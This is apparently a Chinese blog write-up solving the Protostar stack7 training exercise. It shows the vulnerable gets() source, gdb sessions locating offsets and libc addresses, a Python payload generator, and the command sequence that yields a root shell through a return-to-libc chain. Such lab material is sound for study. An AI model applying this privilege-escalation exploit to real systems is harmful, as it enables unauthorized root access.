About
Stack6 introduces return to .text to gain code execution.
The metasploit tool "msfelfscan" can make searching for suitable instructions very easy, otherwise looking through objdump output will suffice.
This level is at /opt/protostar/bin/stack7
http://exploit-exercises.com/protostar/stack7
Source code
1#include <stdlib.h> 2#include <unistd.h> 3#include <stdio.h> 4#include <string.h> 5 6char *getpath() 7{ 8 char buffer[64]; 9 unsigned int ret; 10 11 printf("input path please: "); fflush(stdout); 12 13 gets(buffer); 14 15 ret = __builtin_return_address(0); 16 17 if((ret & 0xb0000000) == 0xb0000000) { 18 printf("bzzzt (%p)\n", ret); 19 _exit(1); 20 } 21 22 printf("got path %s\n", buffer); 23 return strdup(buffer); 24} 25 26int main(int argc, char **argv) 27{ 28 getpath(); 29 30 31 32}
这个题目可以利用ROP 技术,由于使用了
17 if((ret & 0xb0000000) == 0xb0000000) { 18 printf("bzzzt (%p)\n", ret); 19 _exit(1); 20 }
使用gdb来进行调试,得到EBP 和buffer之间的偏移offset, 以及经常使用的gedget ret指令的地址。
user@protostar:~$ gdb -q /opt/protostar/bin/stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) disassemble main Dump of assembler code for function main: 0x08048545 <main+0>: push %ebp 0x08048546 <main+1>: mov %esp,%ebp 0x08048548 <main+3>: and $0xfffffff0,%esp 0x0804854b <main+6>: call 0x80484c4 <getpath> 0x08048550 <main+11>: mov %ebp,%esp 0x08048552 <main+13>: pop %ebp 0x08048553 <main+14>: ret End of assembler dump.在这里要说一下为什么使用ret指令, 因为如果使用ret指令的地址来覆盖getpath的返回地址, 那么getpath返回后会直接执行ret指令,也就是pop $eip, 如果这个时候esp指向的是shellcode或者是system等可执行函数的地址, 那么接下来就会执行我们想要执行的函数。
下面通过gdb来得到得到EBP 和buffer之间的偏移offset
user@protostar:~$ gdb -q /opt/protostar/bin/stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) b 17 Breakpoint 1 at 0x80484f5: file stack7/stack7.c, line 17. (gdb) r Starting program: /opt/protostar/bin/stack7 input path please: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Breakpoint 1, getpath () at stack7/stack7.c:17 17 stack7/stack7.c: No such file or directory. in stack7/stack7.c (gdb) i r eax 0x8048550 134514000 ecx 0xbffff75c -1073744036 edx 0xb7fd9334 -1208118476 ebx 0xb7fd7ff4 -1208123404 esp 0xbffff740 0xbffff740 ebp 0xbffff7a8 0xbffff7a8 esi 0x0 0 edi 0x0 0 eip 0x80484f5 0x80484f5 <getpath+49> eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/32wx $esp 0xbffff740: 0xbffff75c 0x00000000 0xb7fe1b28 0x00000001 0xbffff750: 0x00000000 0x00000001 0xb7fff8f8 0x41414141 0xbffff760: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff770: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff780: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff790: 0xb7fd0041 0xb7fd7ff4 0x08048570 0x08048550 0xbffff7a0: 0xb7ec6365 0xb7ff1040 0xbffff7b8 0x08048550 0xbffff7b0: 0x08048570 0x00000000 0xbffff838 0xb7eadc76 (gdb) print $ebp - 0xbffff75c $1 = (void *) 0x4c (gdb) print /d $ebp - 0xbffff75c $2 = 76可以看到buffer的起始地址为
0xbffff75c
EBP和buffer之间的offset 为76
下面开始构造payload, 使用system函数,还是使用gdb来得到system函数的地址
user@protostar:~$ gdb -q /opt/protostar/bin/stack7 Reading symbols from /opt/protostar/bin/stack7...done. (gdb) b main Breakpoint 1 at 0x804854b: file stack7/stack7.c, line 28. (gdb) r Starting program: /opt/protostar/bin/stack7 Breakpoint 1, main (argc=1, argv=0xbffff864) at stack7/stack7.c:28 28 stack7/stack7.c: No such file or directory. in stack7/stack7.c (gdb) p system $1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system> (gdb)
得到system的地址为0xb7ecffb0
我们将system将要执行的命令,也就是system函数的参数,放到环境变量中
export PWN_SHELL7=/bin/sh
通过使用《黑客之道, 漏洞发掘的艺术》一书中提供的程序来获取该环境变量的地址
user@protostar:~$ cat getenvaddr.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char *ptr; if(argc < 3) { printf("Usage: %s <environment variable> <target program name>\n", argv[0]); exit(0); } ptr = getenv(argv[1]); /* get env var location */ ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */ printf("%s will be at %p\n", argv[1], ptr); }
使用gcc编译成可执行文件后, 得到环境变量PWN_SHELL7在stack7运行时候的地址
./getenvaddr PWN_SHELL7 /opt/protostar/bin/stack7
PWN_SHELL7 will be at 0xbfffff65
user@protostar:~$ cat pwn7.py #!/usr/bin/env python offset = 76 nopsled = "\x90" * offset ret = "\x53\x85\x04\x08" system = "\xb0\xff\xec\xb7" system_argv = "\x65\xff\xff\xbf" print nopsled + "FAKE" + ret + system + "FAKE" + system_argv
将上面的python输出的payload保存到一个文件中
python pwn7.py > payload7
可以使用xxd来查看生成的payload7的16进制信息
user@protostar:~$ xxd payload7 0000000: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000010: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000020: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000030: 9090 9090 9090 9090 9090 9090 9090 9090 ................ 0000040: 9090 9090 9090 9090 9090 9090 4641 4b45 ............FAKE 0000050: 5385 0408 b0ff ecb7 4641 4b45 65ff ffbf S.......FAKEe... 0000060: 0a
xxd真是一个特别好的工具, 尤其是写exploit的时候,可以使用xxd的-i选项, 将文件的十六进制保存成数组, 并且给出长度,当然很多别的工具基本也都有这个功能
user@protostar:~$ xxd -i payload7 unsigned char payload7[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x46, 0x41, 0x4b, 0x45, 0x53, 0x85, 0x04, 0x08, 0xb0, 0xff, 0xec, 0xb7, 0x46, 0x41, 0x4b, 0x45, 0x65, 0xff, 0xff, 0xbf, 0x0a }; unsigned int payload7_len = 97;
好的, 现在可以使用下面的命令来获取root权限了
user@protostar:~$ (cat payload7;cat) | /opt/protostar/bin/stack7 input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe��� id uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user) whoami root
为什么要这样呢, 为什么运行下面的命令直接就coredump呢
user@protostar:~$ cat payload7 | /opt/protostar/bin/stack7 input path please: got path ����������������������������������������������������������������S���������FAKES�����FAKEe��� Segmentation fault
但是还是不太明白为什么EOF会导致coredump, 因为经过gdb调试发现, 直接cat,最后的\a没有进入到buffer中, 进入到buffer最后的是\x00,但是是在system参数地址的后面。
作者:chenyoufu123 发表于2013-9-24 15:22:04 原文链接
阅读:2 评论:0 查看评论